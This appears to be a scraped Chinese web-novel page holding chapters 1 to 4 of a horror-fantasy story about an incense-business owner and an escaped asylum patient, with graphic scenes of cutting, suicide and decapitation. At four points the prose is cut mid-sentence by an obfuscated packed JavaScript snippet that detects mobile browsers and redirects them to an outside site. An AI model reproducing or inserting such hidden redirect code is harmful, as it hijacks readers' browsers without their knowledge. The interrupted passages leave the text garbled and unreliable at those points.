《我靠马甲纵横漫画》 1. 第 1 章 总是灰蒙蒙的天气里,难得有一天是极其明朗热烈的大太阳,连周围的云也被晒得好像完全蒸发掉了,一点也不剩,天空就极其发蓝,像一汪清澈澄明的净水。 山间别墅宽阔的阳台上,打着一把斜斜的遮阳伞,底下是一张长方形的暖栗色木头桌子,桌上摆着一个硕大的铜色香炉。 香炉里积了一层厚厚的灰,插着三根新点燃的香,暗红色的香缓缓燃烧着,往外冒出崎岖扭曲的淡白色的朦胧的烟雾。 木头做的太师椅上,大刺拉拉栗子似的坐着一个人,右手里一把蒲扇,左手一个打火机,蒲扇扇了两扇,打火机就转了两转。 他好像实在无聊,又摁了两次打火机,打火机噗噗冒出火焰来,在阳光下,灿烂得发红。 他似乎被这火焰刺到,眯了眯眼睛,松开了手,把打火机往桌上一放,按着椅子的把手,直起身来,紧盯着面前的香炉。 准确的来说,他盯的是香炉上的香,那三支香在他眼前陡然灭了,他不死心,仍然看着,便有一支香即将折断。 他皱了皱眉,挪开目光,喃喃自语:“你自己非要我在大太阳的时候找你的,现在找了你,你又不愿意来,你什么意思?” 他的眼眶不知不觉红了,咬着牙骂道:“我早就说过,在大太阳底下招魂,是成不了的!你还不信!现在好了吧!魂飞魄散你就满意了!” 眼泪从眼眶里涌挤出来,啪的一声掉在桌上,香火迅速伸手擦了,猛然间想起那人活着的时候,一边从兜里抓出一大把的咖啡豆往嘴里丢,嚼得咔吧咔吧响,一边笑嘻嘻蹲在阴影里,含糊不清说:“如果你愿意,把你最重要的东西给我,或许我死了,也会回来见你一面的,就看你愿不愿意了。” 他当时怎么说的?他走过去狠狠推了人一把说:“你别做梦了,那是我的东西,你死了我也不会给你的,等你被烧成灰,我还要把你的灰撒在花盆里,当肥料送给我的花!” 那人一下子被推倒在地上,却不站起来,只是打着滚笑,像一只被挠痒痒的猫,蜷缩着说:“那你还不回家照料你的花?” 香火第一次见到明林的时候,是准备和香火厂的其他人一起出门去吃一顿大餐,像平常一样路过一个普通的路口,被惨白的好像反光一样的颜色晃了一下眼睛,愣了一下,才转头看了过去。 他没穿鞋子,头发乱糟糟的,衣服好像被人扯过,上下都少了扣子,中间也没扣上,露出里面满是鲜红抓痕的惨白色的胸膛,脸上还有巴掌印,手腕上是被绳子勒过的痕迹,已经有些肿胀,泛着一股青紫色。 如果他不是睁着那双黑洞洞的,有些无神的眼睛,一动不动坐在小巷拐角处的阴影里的时候,看起来还真像是一个已经死掉以至于僵硬的尸体。 香火第一眼看见明林的时候,着实吓了一跳,不过他是那种即使受到惊吓也不会惨叫的类型,所以完全陷入了沉默。 周围的人见他不动,不知怎么回事,顺着他的目光看了过去,一个两个都受到了惊吓,接二连三叫了起来,像一串被点燃的炮竹。 一群人便要过去,想看看那究竟是不是尸体,明林总算被他们惊动了,用余光瞥了他们一眼,立刻站起身来要跑路。 他下意识追了过去,明林被他刺激到,更加快了跑路的速度,只是或许一动不动的时间有些长,身体都僵硬了。 刚起身的时候就踉跄了一下,差点摔倒,连忙扶住了墙,可是,这耽误了时间,明林被香火抓住了。 明林不再挣扎,像是突然认了去死的命,只是低着头靠着墙,被罚一样站在那里,头发垂下来,隐约挡住了眼睛。 整个人看起来又凄惨又狼狈,眼睛一眨就掉下泪来,看起来可怜极了,又委屈,又无可奈何,像一团被裹满了枫糖浆的牛奶布丁,软得稍微晃一晃就会裂开。 香火还以为他放弃了抵抗,正想劝一劝他,降低一下他的警惕,结果忽然看见他手心里闪了一下,虽然没看清楚究竟是什么,但下意识往后拉开了距离。 这一下救了他的命,因为他没看清楚的那东西,是一块锋利的玻璃碎片,上面还沾着不知是谁的血。 明林拿着那块玻璃碎片,想要割开他的喉咙,那是一眨眼的事,眨眼间的生与死,就是这么简单。 他们的距离非常近,如果他刚才不躲,那他是必死无疑了,脖子上的大动脉可不会开玩笑。 香火有一瞬间的生气,但那点怒气还没完全冒出来就莫名变成了兴奋,如果只是一个陌生的可怜人,送走了,也就算是处理了。 但如果是一只被打得遍体鳞伤但还没拔去爪牙的野兽,那就有点意思了,或许可以留下来。 香火反手把明林压在了墙上,强行从他手里取掉了那一块小小的玻璃,才发现他手里其实满是伤痕,新鲜的血正在从里面流出来。 那些伤口表面甚至没有覆盖柔软的薄膜一样的血痂,可见这些伤口并不是他待在这个小巷之前出现的,而是待在小巷之后制造的。 因为如果这些伤口是来之前就出现的,血液凝固,早就该硬了,看来他并不是坐在那里一动不动。 明林挣扎了一下,发现自己挣扎不开,再次低头沉默下去,不过这一次,他脸上的表情就没那么温和了,是一种近乎厌恶的冷漠。 “你叫什么名字?”香火摁着他问。 他不回答,香火便慢条斯里,把手伸进他的衣服口袋里翻了翻,能很明显感觉到他浑身一僵,随后肌肉紧绷,皱紧了眉头,轻轻笑了笑,故意放慢了速度,最后,依依不舍一般,把手从他的口袋里掏了出来。 没等明林放松,香火便把从他口袋里翻出来的崭新的玻璃碎片按在他的脖子上,一点一点划开他的皮肤说:“叫什么名字? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466820|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不肯说,我就在这把你活剐了吧,怎么样?” “明林。”他垂着眼睛回答了。 声音是沙哑的,嘴唇是干裂的,语气是淡漠的。 香火很确定自己在那一瞬间起了一种前所未有的探索欲,如果这是一尊瓷像,他现在就要把它砸碎,可惜,这是个活人。 “从哪来?”香火紧盯着他的脸,观察他的一切表情,向他问。 他垂着眼睛,似乎沉默,又似乎考虑了一阵子:“离火精神病院。” 这名字有点长,不关心精神病院的人不会知道,但恰好,香火知道这个地方,因为他前阵子,才陪一个顾客,去探望了一个住在那里的病人。 “我上次去过那里,可是没有见过你,”香火非常好奇问,“你住在哪里?” 明林闭上眼睛,一副破罐破摔的表情,像一只引颈受戮的天鹅,苍白的脸色和他鲜红的血,很轻松就激发起了香火一种极强烈的凌虐欲:“三栋二号。” 香火不知不觉又把手里的玻璃片移到他的脸上,狠狠压下去,直到看见血丝从里面溢出来,才猛然惊醒自己在做什么,略停了一停手,有些心虚,挪开了目光,干咳一声:“你怎么不反抗?” 明林听见这句话,只是看了他一眼,就重新闭上了眼睛,比之前更加波澜不惊,像是已经死了一样,虽然一句话也没说,但一切尽在不言中。 他把人按得死死的,明林但凡有机会挣脱,也不会站在这里,让他把那块碎片,从脖子上挪到脸上去。 “吃饭了吗?”香火想了想,觉得自己也许应该道个歉,但空口白话说起来实在太没意思了,不如顺便请人吃个饭,就忽然笑着问。 明林沉默了一阵子,发现他是认真的,本来不想回答,但看他一直目不转睛笑盈盈盯着自己,浑身上下的鸡皮疙瘩,一点一点冒了出来,有一瞬间动摇了,张了张口,想要顺着他说一句话。 他看出来了,笑眯眯把脸凑过来,就等明林把话说出来,好把人拉走,但是,明林忽然想到,他和一群人来的,就算要吃饭也肯定是找餐馆,而自己这个样子,哪里适合到人多的地方去? 明林便把脸一侧,不再回答。 香火没等到他的话,有点惊讶,不知道他为什么突然改变主意,但是把他看了看,就知道是为什么了。 香火轻轻松开了他,对身后众人说:“你们先走吧。” 众人相互看了看,便推推攘攘走了。 明林有点想趁机逃跑,但又觉得现在不是逃跑的好时机,毕竟真要他立刻翻过一面墙去,他未必翻得过去,要是从人群离开的方向走,不是被人群堵住,就是被人群抓住,算了。 他低下头去。 香火看人走了,转过头来对他说:“你身上这衣服不能穿了,我带你换一套吧?正好我的住处在附近,你可以顺便洗一洗。” 2. 第 2 章 “离火精神病院今日早晨失火,火势仍在蔓延中。”一个微笑的缓慢的,口音标准的女人的声音,从电视里传了出来。 香火啪的一声关了电视,拿着水果刀的明林,站在阴影处,面无表情,幽幽看着他,他缓缓转过头去,明林对他微笑了一下。 他刚开始看见明林的时候,以为这张脸笑起来会很好看,但现在真的看见这张脸笑起来的时候,他才意识到他之前错得有多离谱。 那张脸笑起来完全是诡异的,阴森的,像是刚从地狱里爬起来的鬼,没有一点人气,可以说是温和的,但眼角眉梢都是尖锐,像即将出鞘的利刃,充满危险性的长相。 尤其是他笑起来的时候,那两颗漆黑的眼珠子居然比平时更大一些,看起来就更不像人了,整个房间的温度好像都在此下降。 砰砰砰,门外响起了敲门声。 屋内的二人对视了一眼,沉默了一会儿,门外的响声依然没有停歇,听起来甚至有愈演愈烈的趋势。 香火莫不作声,从明林面前经过,去开了门。 门外是基金会的人,把他们看了看,皱着眉头问:“在这里为什么不开门?你们在做什么?” “刚才电视有点坏了,”香火微笑了一下,解释说,“正在修呢,一开始没听见,太专注了。” 基金会的人将信将疑点了点头,一只手递过来一张崭新的黄纸,纸上印着一个鲜红的公章,另一只手对他摊开,理直气壮说:“总督最新发下来的文件,你该交钱了。” 香火把钱交给他们,他们收了钱,把两个人看了看,转身走了。 香火缓缓把门关上,转过身,看向一直低着头躲在自己身后的明林问:“要出去吃饭吗?我想,他们不会找你的。” 明林抬起头来,把刀戳到他的脖子上,往里压了压,直到有血流出来,打湿了对面的衣领,才慢慢松了一些,用一种沙哑的慢条斯理而有微微不解的声音,像一株狂风中即将散乱的曼陀罗,问他:“为什么帮我?” 香火注视着他的脸,想起他笑的样子,一种后之后觉的刺激感,就像是蜘蛛一样,从脊柱骨爬到了脖子。 哪怕现在脖子上新鲜的伤口还在流血,香火仍然不知不觉笑了出来,一种充满渴望的循循善诱的语气问:“你看起来像是我的员工,你不愿意加入我们香火厂吗?” “只是这样?”明林并不相信他的话,注视着他,重新把刀扎进了他的伤口,不过,刀尖只是轻轻进去了一点点。 他总算意识到自己脸上的表情似乎应该克制一下,收敛了情绪,抿了抿唇,露出一个温和的微笑,偏偏语气有一点微妙的仿佛被误解的委屈:“我说的是真话。” 明林并不喜欢他所流露出来的那一点委屈,皱了皱眉,下意识把刀往深处更扎了一点,随后意识到,其实这样不对,缓缓把刀抽了出来,垂着眼睛说:“我从前并没有,做过任何事。” “看也看得出来,”香火上下扫视了他一眼,笑道,“没有关系,厂子里实行老带新的模式,你是个好苗子,我相信你能留下来。” 香火顿了顿,带点犹豫,微笑着问:“你知道正常的工作都需要考核吧?我希望你加入,不代表,我会给你开后门。” “我明白。”明林脸上没什么表情的样子,点了点头。 虽然没什么表情,但比笑着的时候看起来容易接近多了,可能是因为他笑起来像是有毒的蜘蛛,但不笑的时候,像只炸毛的猫。 “从今以后,他就是我们香火厂的新成员了,大家鼓掌欢迎。”已经落座的香火微笑着举起酒杯,对同桌的其他人说。 坐在他旁边的明林举起自己的酒杯,对众人示意,随后一饮而尽。 宽大的餐馆包厢,圆形的桌子,带靠背的椅子,红金色带暗纹的墙纸,透明玻璃小杯装的白酒,长条盘子的鱼,热腾腾的汤,绿油油的菜,红彤彤的肉。 人们面面相觑,鼓了鼓掌,随后微笑着举起酒杯:“欢迎欢迎。” 忽然有人敲门,他们还以为是服务员,还有些疑惑,服务员进来为什么要特意敲门,就说:“进来吧?” 开门的确实是服务员,不过,从外面进来的不是,他们是基金会的人,身上穿着蓝黑色的制服,一脸严肃的微笑,就鱼贯而入。 “各位好,”基金会的人对他们点了点头,拿起手里的东西对他们说,“离火精神病院有病人出逃,我们怀疑纵火犯就在其中,按照惯例,在附近进行搜查和巡逻,请配合一下,检查完毕,我们马上就走。” 说完,基金会的人开始检查对比,走到了香火和明林的身边,把他们两个对着手里的东西看了看,忽然仔细看向明林的脸,有些疑惑问:“能给我看看你的身份证明吗?” 明林低着头说:“我没带。” 他不太确定自己究竟有没有那东西。事实上,他身上也确实没有。所以现在要他拿,他无论如何是拿不出来的。 基金会的人开始怀疑,直起身来,再次把他的脸和手里的东西看了看,张了张口,想请他到基金会去喝杯茶。 坐在明林身边的香火把胳膊一伸,笑眯眯把明林揽到怀里说:“这是我弟弟,平时不带证明的,不过,我这里有,你们可以看看。” 他说着,从兜里一摸,摸出来一份证明,递给了身边的基金会的人,基金会的人接过一看,将信将疑:“这是他的?” 香火笑眯眯说:“怎么不是?我还能掏出别人的不成?我就是想拿,那别人也不能随便给我呀。” 基金会的人扯了扯嘴角,把证明还给了他:“精神病院的人可能流窜到附近,以后出门都是要检查的,这东西还是让你弟弟随身带着吧,下次要是找不出来,可不见得这么轻松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466821|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 香火点了点头,大力拍着明林的肩膀说:“我知道了,就是他不记得,我也记得,一定提醒他,带好了再出门。” 他说着,一边伸手接过证明,一边转手递给了明林,明林伸手接了过去,看了一眼,揣进自己兜里,低声道:“我会记得。” “走吧。”基金会的人离开了包厢。 吃完饭之后,香火接了个电话,就有一件要出国的事情,需要立刻跨海,站起身来,目光扫视众人,挑了一个老员工说:“新员工就交给你带了?” 老员工瞥了一眼明林,把长长的筷子像青蛙的舌头一样伸出去,在雪白的盘子里挑挑拣拣,捻了一颗裹着零星白色细盐粒的破损火红色衣子的花生米,丢进嘴里,一边嚼得咔咔作响,一边微笑说:“好啊。” 香火点了点头,离开了包间,等他下次见到明林的时候,明林正穿着一身白衣,参加别人的葬礼,手里是刚点燃的三炷香。 三株长长的暗红色的香颤微微在他手里晃着,猩红的火点在暗色的房间里若隐若现,像寒冬里,骤然间绽开了一朵鲜红的花,转瞬间又凋零了,便只剩下一地的灰,满屋的,浓郁的香火气。 他拿着香,朝着黑桌上靠白墙的黑白色遗像拜了拜,随后低着头把那香插在了拳头大小的香炉里。 旁边是并排展开的白蜡烛,闪烁的橙色的火光从蜡烛里冒出来,微微的寒风从屋外经过,火苗顿时被碾成了极细的形状,像被迫上吊的人,双手抓着吊绳,拼命挣扎,却仍然只能无声无息,一点一点死掉。 火光就在众人面前变为了青紫色。 于是微风变为狂风,呼啸着经过了灵堂,从门口冲进窗户,又从窗户冲了出去,只听哗啦一声,窗户上的玻璃眨眼间全碎了。 蜡烛的光陡然灭了,在一片黑暗中,死者家属惊慌失措大喊:“人呢?人呢?你们在哪儿啊?” 他奔跑起来,咚咚咚,咚咚咚,他听得出来,他的脚步声后面还有脚步声,他不敢回头,但又不敢停下,使劲往前跑,跑啊,跑啊,扑通摔了一跤,想要站起来,但是两条腿没有力气,浑身颤抖着在地上爬行。 他一边爬一边涕泗横流喃喃道:“求求你不要杀我!我的钱都可以给你!不管你是谁!请放过我吧!我什么都不要了!什么都不要了!” 身后那咚咚咚的脚步声放慢了,越来越轻,越来越近,最后几乎是贴在后背上,像一块正在融化的寒冰,正淅淅沥沥滴着水。 他使劲抹着后背上湿漉漉的那块痕迹,却无论如何抓不着罪魁祸首,哭泣着惨叫起来,哆嗦着手试图把衣服脱下来,却被衣服罩住了头,像只应激的小白鼠一样疯狂挣扎起来,几乎有些喘不过气,险些把自己弄死。 这时候,他忽然听见一阵咔嚓咔嚓的咀嚼声,慢条斯理从旁边跳了下来,后背的凉意陡然间离去了。 3. 第 3 章 死者家属呆呆坐在原地,不知道应不应该继续把衣服从头上脱下来,后知后觉感到身体有些力竭,弯下腰去,呼哧呼哧喘着沉重的气,像一个拉过头的风箱。 随后他感觉到,一只手扯着他的衣服往上一提,他下意识跟着伸手,一直罩在他头上的衣服就被脱了下来。 他一边大口大口呼吸新鲜空气,一边试探着看了过去,面无表情的明林手里拿着他湿漉漉的衣服,察觉到他的目光,抬起手来,就把那团衣服丢了回来。 他伸手抱住了自己的衣服,能很清楚感觉到,随之而来的,还有一股浓郁的咖啡豆的香气,不由得下意识嗅了嗅。 明林盯着他,从兜里掏出一把黑漆漆的咖啡豆,一颗一颗塞进嘴里,咔嚓咔嚓嚼了起来,像是在嚼刚从土里挖出来的死人骨头。 他顿时打了个哆嗦,感到不寒而栗,正想说点什么,缓解一下那种阴森森的氛围,明林转过头走了,他心中一紧,立刻跟了上去。 灵堂内恢复了光亮,家属们个个喘着粗气,大汗淋漓跌坐在地上,面面相觑,都有一种劫后余生的感觉。 依靠在门口的老员工,见此情形,笑眯眯拍了拍手,毫不吝啬鼓励说:“不错,不错,已经可以通过试用期了,改天去准备正式的考核吧。” “谢谢,”明林没什么表情,点了点头,“我会考虑的。” “各位,”老员工对地上的死者家属拍拍手,吸引注意力说,“该做的我们已经做了,什么时候结尾款呢?拿了钱,我们赶着收工。” 家属们相互看了看,从地上爬起来,把钱数出来递给他,他清点了一遍,揣进兜里,笑眯眯点头说:“谢谢惠顾,欢迎下次光临。” 说完,他对明林招了招手,明林便跟着他离开,香火站在灵堂里看了看剩下的葬礼,把自己刚点燃的香插上去,转头走了。 老员工靠在墙上,双手插在兜里,眯着眼睛,腮帮子一鼓一鼓的,正在嚼烟叶子,明林站在旁边,从兜里掏了一颗咖啡豆,放进嘴里,不知怎么咬的,嘎吱嘎吱响。 香火走过去的时候,老员工就直起身来笑眯眯说:“老板回来了?老板一回来就检查工作,是不放心吗?对新员工还满意吧?” “这是个意外,”香火不自觉摩挲了一下手指回答,“那家人我曾经认识,听说他们死了人,所以过来看看,并不是检查工作来的。” “那员工怎么样?”老员工笑眯眯走到明林身边,歪头看着香火问。 香火看了看他们两个,明林注视着他,他垂下眼去说:“不错。” “您都没细看!”老员工察觉到他看明林的目光不足一秒,看热闹不嫌事大,起哄似的嚷嚷起来。 香火重新抬起眼来看向明林,自己倒也说不清,几分是不得不,几分是心驰神往,仔仔细细把人看了看,语速平缓,语调沉静:“刚才我都看过了,确实不错,可以安排正式考核。” 老员工哈哈笑道:“你看人的样子,像是要把人的皮扒下来一层了,怎么之前没见你这样看别人呢?” “别人毕竟和他不一样。”香火目不转睛注视着明林,缓缓把目光移向老员工,意味深长幽幽道。 “那确实,”老员工拍拍明林的肩膀,骄傲中带两分自得,笑眯眯说,“我教出来的,就是不一样。” “他耳朵上怎么多了个东西?”香火的目光落在老员工搭在明林肩膀上的那只手,随后缓缓上移,定在明林的耳畔,慢悠悠问。 “我送他的,”老员工转头瞥了一眼那小小的,近在咫指的,毫不起眼的耳环,漫不经心,随口答道,“毕竟是要跟着我出来办事,什么都看不见可不好。” “你从哪儿淘来给他的?”香火缓缓把目光从明林的耳边转到老员工的耳边,看着他们两个那如出一辙的耳环,眯了眯眼睛问起来。 “这不巧了吗?”老员工笑嘻嘻说:“当初买的时候就是一对,只是我一般只用一个,剩下一个放着,如今他来了,我就送他了。” “代价是什么?”香火轻轻挑了挑眉,似笑非笑问。 “需要时不时在嘴里嚼点什么东西罢了,”老员工摊开手说,“和生生死死比起来,这点代价已经很小了。” “确实,”香火点了点头,和生死比起来,些许东西不过是小事,但不知怎么的,他就是有些看不惯,面上却微笑起来,“我想和他谈谈正式考核的事,你觉得怎么样?” “可以,”老员工挑了挑眉,抬起手来,一副投降的样子,往后退了两步,笑嘻嘻说,“当然可以。” 明林看了他一眼,老员工双手抱在胸前,对他微笑道:“不愿意也可以不去,你不愿意吗?” 明林转头看了一眼就在旁边的香火,香火看着他,难得有一点紧张,明林垂眼想了想,轻轻点了点头:“我愿意去。” 香火眉目一喜,明林抬眼,语气平静道:“毕竟,事关正式考核,不能马虎。” 香火的眉毛就垮了下去,老员工带点幸灾乐祸,哈哈大笑:“也是也是,这可是正事儿,难得有和老板单独谈的机会,不能错过。” 老员工一边笑一边重新靠近明林,在他耳边低声说了一句,明林点了点头,老员工拍了拍他的肩膀,转身走了。 他背对着二人挥挥手说:“我就不打扰你们谈正事了!” 香火往前走了两步,怀疑老员工刚才在明林耳边说的是自己的坏话,欲言又止,向明林问:“他说什么了?” 明林垂眼想了一想要不要告诉他,回答道:“他说,给自己争取好处的时候,别客气。” “是吗?”即使听见明林亲口这样说了,香火仍然将信将疑。 明林沉默了一会儿,把咖啡豆嚼得嘎吱嘎吱响说:“你可以不信。” “我们换个地方谈吧。”香火不置可否,微笑着说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466822|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 暗沉沉的门,惨白色的墙,栗子色的桌子,柔软的沙发,透明的玻璃杯子,这里的一切看起来和上一次来的时候差不多。 香火给明林倒了一杯水,明林坐在沙发上,看着那水杯,并没有伸手,只是问:“关于正式考核的安排,现在可以告诉我了吗?” 香火也给自己倒了一杯水,轻轻吹了吹,听见问话,坐在他对面叹了一口气:“怎么上来就谈正事?这也太着急了吧?” “难道我们之间还有什么闲事可谈?”明林面无表情,从兜里掏出一颗咖啡豆塞进嘴里,看着他问。 “别这样,”香火眨了眨眼睛,捧着水杯,不知是在开玩笑,还是在攀关系,慢吞吞道,“从身份上说,我们好歹也是兄弟呢。” 明林扯扯嘴角,一边嚼着嘴里的咖啡豆,一边慢条斯理说:“是真的还是假的,你比我清楚才对啊。” “说起来,我还没送过你礼物,是吧?”香火忽然站起身来,在屋子里走了两步,转过头来笑眯眯问他。 他有一点惊讶,微微挑了挑眉毛说:“这也不用。” “可是,你收了别人的。”香火看着他耳朵上的那个耳环,耿耿于怀说。 他露出像狐狸似的似笑非笑的表情,抬起手摸了摸自己的耳环,慢吞吞说:“这是老师给的,和别人不一样,更何况,他不是你指给我的吗?” 香火眨了眨眼睛,被他的脸吸引,不由自主笑道:“我让他带着你干活,可没让他送你东西,也没让你随便收啊。” “可是已经收下了,总不好再退回去吧?我还要用呢。”明林把手放了下来,面色平静,看着他说:“还是你单独对我有什么意见?” 香火听了这话,下意识想要反驳,他并没有什么意见,不过,张了张口,十分无可奈何,叹了一口气,温和说:“那我们来谈谈正事吧。” 明林看着他点了点头。 他重新坐下来说:“正式考核很简单,你只需要在监管者的旁观下单独完成一个任务,就可以通过,通过之后,你可以从厂子的仓库里挑选一样东西,作为纪念和奖励。” “什么时候开始?”明林点了点头。 “如果你准备好了,”香火看着他说,“明天就可以开始。” “那就明天开始吧。”明林没有意见。 “那你今天晚上就在这儿休息吧?这里有一间客房,正好可以给你住,”香火微笑着提起了意见,“明天就可以立刻开始任务。” “住在别的地方也可以吧?”明林试探着问。 “是的,”香火面色平静点了点头,但话锋一转说,“不过,如果你住在别的地方,明天开始任务的时候,可能会来不及赶到指定地点,那就算是迟到了,一开始就迟到,那可未必能通过考核。” 明林立刻说:“那我就在这住吧。” 香火微笑起来:“现在去看看你的房间吧?” 4. 第 4 章 明林也记不清他究竟是什么时候想要成为神的,但从他萌生这个想法起,他就不可避免,也无法自控,陷入了一种狂热的焦虑之中。 他每天都在走来走去,喃喃自语,寻找一种,可以让自己从糟糕的焦虑状态中解脱出来的办法,或许是快乐,或许是生命,或许是别的。 但是最后他发现,那些都不算数,短暂的快乐转瞬而逝,脆弱的生命数不胜数,其他的其他,更是犹如泥潭中的蛆虫,不值得为之投入一丁点的目光。 直到他在一个偶然的深秋的夜晚,因为闭着眼睛躺在床上,实在睡不着,所以,睁开眼睛坐起身来,从有栏杆的窗户望向月亮。 他向神祈求,神回应了他,只要他从漫画的重要角色的手里得到一件重要物品,他就可以得偿所愿。 香火就是漫画的重要角色之一,至于他的重要物品,明林在翻漫画的时候看过,是一枚又老又旧的染血铜钱。 那铜钱不是正儿八经的古代铜钱,只是他在曾经的一条热闹工业街上淘来的便宜小饰品,卖东西的人说,这就是个小玩意儿。 他买的时候也信了,不过,这东西表面看起来平平无奇,实际上并不是那么一回事,从他买到手的那一刻起,这东西就和他绑了。 除非哪一天他亲手自愿把这东西交给别人,否则,这铜钱是要跟他一辈子,直到他死的,最开始,他对这些一点也不知道。 他只把这东西当装饰品挂在脖子上,像往常一样出门去,在一个路口,见到一个低着头,坐在地上,好像很委屈的年轻人。 那个人在那里嘀嘀咕咕,也不知道说些什么,隐约能听见,什么多少多少年,优惠不优惠的话,有人好奇,走过去问怎么回事。 走过去的人一靠近就坐下了,渐渐的,坐下去的人越来越多,包围着最中间的那个人,围了一圈又一圈,像切开了的卷心菜。 之后,不知是哪一个掏出了刀,插在了自己的脖子上,又狠狠拔了出来,脖子里的血溅了身边的人一脸。 但是那个被溅了一脸血的人,既没有尖叫,也没有逃跑,反而满脸微笑,伸出手去,接过了,躺在地上那个人手里的刀,鲜血淋漓的那把刚扎过人的刀。 躺下来的人越来越多,香火不知什么时候已经坐在了人群里,往外伸出手去,刚刚接过那把刀,正要把刀扎进自己的脖子。 他忽然觉得胸口一烫,像是有一团火,狠狠烧了过来,因为实在是太烫了,他浑身一颤,实在是拿不住手里的刀,那刀咣当一声落在地上,他醒了过来,旁边的人注视着他,一脸疑惑,他爬起来,立刻跑走了。 旁边的人看他不继续用那把刀,就伸出手去,自己把刀捡了起来,扎进了脖子里,面带微笑躺在了地上,鲜血流得到处都是。 他回家的时候,发现父亲正拿着报纸坐在客厅的沙发上,妹妹刚刚在桌前打开了书包,往常本应在厨房做饭的母亲,一刀剁掉了自己的头,把头放在了干干净净的菜板上,面带微笑注视着他,把刀递给他,什么话也没有说,砰的一声,没有头的身体倒了下去,更多的鲜血从断口处流了出来。 他吓了一跳,几乎怀疑一切都是一场荒诞的梦,但浓烈的鲜血刺激着他,血腥味告诉他,一切都是真的。 他抓住父亲,说厨房好像死了人,父亲不以为意,把报纸叠了起来,取下眼镜,站起身来说:“你就是喜欢大惊小怪。” 他听见这句话,还以为父亲是不相信自己,正要辩解,就听见父亲一边向厨房走去,一边十分平静说出了下一句话:“家里死个人有什么大不了的?” 他整个人都呆住了。 父亲去厨房收拾好了母亲的尸体,让妹妹先不要做作业了,打电话通知亲朋好友,准备来参加葬礼。 妹妹就放下作业,开始打电话,既没有惊讶,也没有恐惧,只有一种极其柔顺的令人惊悚的乖巧。 父亲联系了火葬场,那边来人收走了尸体,烧成了灰,又送了回来,葬礼如期举行,来参加的每个人都是面带哀容。 但他们每个人都表现得好像,自己把头砍下来是一种非常普通的死亡方式,只是说节哀。 从那之后,香火就知道,不管他愿不愿意,死人是一件不需要惊讶的事。 第二次出事,是在葬礼后不久,父亲接到公司的电话要出差,嘱咐香火照顾好妹妹,尤其要记得,每天去接人上下学。 父亲离开家之后,香火就每天去学校门口等妹妹,有一天晚上等了很久没有等到,他就进了学校,去找妹妹的教室。 出乎意料的,那间教室灯火通明,皮肤苍白而身体僵硬的老师站在讲台上,一只手拿着课本,一只手拿着教棍,指着黑板,机械性张着嘴,仍然在给学生上课:“小星星,小星星。” 学生全都坐在教室里面,双手放在桌子上,压着草稿和作业,表情呆滞,双目无神,看着老师和黑板,跟着念:“小星星,小星星。” 他走了进去,没有人注意他,他推了推妹妹,妹妹也不搭理他,他用尽全身力气拉着妹妹的胳膊,试图把妹妹从座位上拽起来。 妹妹纹丝不动,整个人像是被焊在了原地,连表情也没有变化,香火无可奈何,叹了一口气,准备松手,脖子上的铜币忽然又烫了一下。 妹妹猛然间从座位上站了起来,看了看教室,一脸惊慌失措问:“大家怎么都在?你怎么进来的?你是来找我的吗?我们走吧?” 等他们回到家,香火就接到了父亲车祸去世的消息,好巧不巧,车祸的地点就在家门口附近的那条十字街道上,他们回来的时候,还路过了那里。 他出门去了十字路口,还没有走到车子面前,一个人头从不远处滚了过来,停在他的面前,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466823|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他微笑,他定睛一看,这是他父亲的头。 他给妹妹在学校请了假,处理了父亲的丧事,葬礼的时候,妹妹忽然说:“今天晚上有点冷,一个人好像睡不着,我可以和你一起睡吗?” 他同意了,妹妹躺在他旁边,抱着小熊玩偶,翻来覆去,仍然睡不着,请他唱一首摇篮曲。 他拍着妹妹的后背,轻轻唱道:“一闪一闪亮晶晶,满天都是小星星……” 不知不觉,妹妹睡着了,但他睡不着,他总觉得,事情还没有结束,即使结束了,他也不会得到安宁的日子。 他看了一眼自己的铜币,把这东西挂在了妹妹的脖子上,这样下次遇到事情的时候,活下来的会是妹妹,如果一定有人要死,那就让他去死吧。 